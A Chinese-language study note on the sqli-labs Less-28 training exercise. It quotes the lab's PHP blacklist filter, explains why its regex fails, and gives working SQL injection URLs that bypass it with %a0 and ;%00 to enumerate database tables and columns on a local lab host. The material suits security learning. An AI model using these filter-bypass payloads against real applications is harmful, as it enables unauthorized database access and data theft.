接着好久之前的sql注入學習
Less-28源代碼如下:
function blacklist($id) { $id= preg_replace('/[\/\*]/',"", $id); //strip out /* $id= preg_replace('/[--]/',"", $id); //Strip out --. $id= preg_replace('/[#]/',"", $id); //Strip out #. $id= preg_replace('/[ +]/',"", $id); //Strip out spaces. //$id= preg_replace('/select/m',"", $id); //Strip out spaces. $id= preg_replace('/[ +]/',"", $id); //Strip out spaces. $id= preg_replace('/union\s+select/i',"", $id); //Strip out UNION & SELECT. return $id; }
解法:
參考了https://www.cnblogs.com/zhengna/p/12655523.html
正則表達式'/union\s+select/i'中,\s表示空格,+表示匹配一次或多次,/i表示不區分大小寫,所以整體表示匹配 union加一個或多個空格加select,其中union和select不區分大小寫
就是說只看最后一項,正則匹配會過濾 union加空格加select,只有這個表達式(不區分大小寫)滿足的時候才會進行過濾,但是雙寫空格會被之前的空格匹配過濾。
如果空格替換成其他等價的字符,如/**/(被過濾)、tap空格、%0a(換行符,sql查詢特性)、%a0就能繞過匹配
但是沒有報錯回顯無法使用報錯判斷,只能嘗試爆出信息:
嘗試(以下語句需要在后面添加%0a1=1;%00),由於注釋符被過濾,因此使用;%00替代


引入新的語句


之后嘗試出現回顯


之后進入正常步驟,先order by,到4的時候不回顯,說明字段結構是3的長度

繼續查數據庫,突然沒有回顯,回去看看,發現參考博客寫的並不嚴謹

\s表示匹配一個空格,但也能匹配包括tab鍵等空白符,因此%0a換行符也被匹配了,至此我們只能使用%a0來繞過

查詢表
http://192.168.147.133/Less-28/?id=0%27)union%a0select%a01,table_name,3%a0from%a0information_schema.tables;%00

查列
http://192.168.147.133/Less-28/?id=0%27)union%a0select%a01,column_name,3%a0from%a0information_schema.columns%a0where%a0table_name=%27CHARACTER_SETS%27;%00

最后去查值,select列名from表名,如果無回顯,可以去參考其他資料,又或者是sqli-labs配置錯誤
